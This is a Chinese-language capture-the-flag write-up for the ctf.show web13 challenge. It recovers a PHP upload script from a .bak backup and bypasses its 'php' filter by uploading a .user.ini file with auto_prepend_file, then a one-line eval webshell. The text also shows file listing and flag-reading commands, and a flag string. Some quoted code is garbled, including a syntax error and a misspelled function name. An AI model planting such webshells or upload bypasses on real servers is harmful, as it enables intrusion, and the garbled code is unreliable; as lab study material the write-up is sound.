ctf.show-web13

直接开始进入环境之后,觉得应该是个文件传输漏洞

随便传几个文件,显示错误。

 

尝试获取网站源码。
通过压缩文件获取,文件后缀名有这些。

rar  .zip  .7z  .tar.gz  .bak  .txt  .old  .temp

试了一下.bak可以

打开之后是这样的

<?php 
	header("content-type:text/html;charset=utf-8");//设置响应的内容类型和字符编码

	$filename = $_FILES['file']['name'];        
	$temp_name = $_FILES['file']['tmp_name'];     //获取上传文件信息,
	$size = $_FILES['file']['size'];            
    $error = $_FILES['file']['error'];        
    //这些行从全局数组 $_FILES 中获取文件的名称、临时存储位置、大小和上传过程中的错误代码。


	$arr = pathinfo($filename);        
	$ext_suffix = $arr['extension']; 
    //使用 pathinfo() 函数获取文件的路径信息,然后从返回的数组中获取文件扩展名。

	if ($size > 24){
		die("error file zise"); //限制文件大小为24字节
	}
	if (strlen($filename)>9){    
		die("error file name");    //限制文件名长度为9
	}
	if(strlen($ext_suffix)>3){    //文件扩展名限制为3
		die("error suffix");
	}
	if(preg_match("/php/i",$ext_suffix)){ 
		die("error suffix");
    }                                     //检查扩展名是否包含php
    if(preg_match("/php/i"),$filename)){
        die("error file name");                //检查文件中是否包含php
    }                                                
	if (move_uploaded_file($temp_name, './'.$filename)){
		echo "文件上传成功!";
	}else{
		echo "文件上传失败!";
	}
    //使用 move_uploaded_file() 函数将临时文件移动到指定目录。如果移动成功,输出成功信息,否则输出失败信息。

 ?>

 我们可以上传一句话木马,可以利用.user.ini文件


.user.ini文件是一个可选的配置文件,它允许开发者和用户在不修改主 php.ini 文件的情况下自定义 PHP 设置,可以覆盖或添加全局 php.ini 文件中的相应设置。

在文件上传上面的参数有两个,

auto_prepend_file  auto_append_file

 auto_prepend_file将文件内容包含在每个脚本执行之前执行。包含在每个运行脚本文件顶部

auto_append_file将文件内容包含在每个脚本执行之后之后。包含在每个运行脚本文件的最后

例如:

auto_append_file = /path/to/append.php

先上传.user.ini文件中的内容, 文件中内容是auto_prepend_file=1.txt。然后再上传一句话木马。<?=eval($_POST['is']);这样可以绕过php限制。

利用print_r(golb('*')); 函数这行代码时,它会打印出当前目录下所有文件和目录的列表。

highlight_file()函数访问这一长串文件 

highlight_file() 函数用于显示一个文件的内容,同时对 PHP 代码进行语法高亮

 ctfshow{1ca2ba7c-5830-45d8-9096-6e59cd10ceaa}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值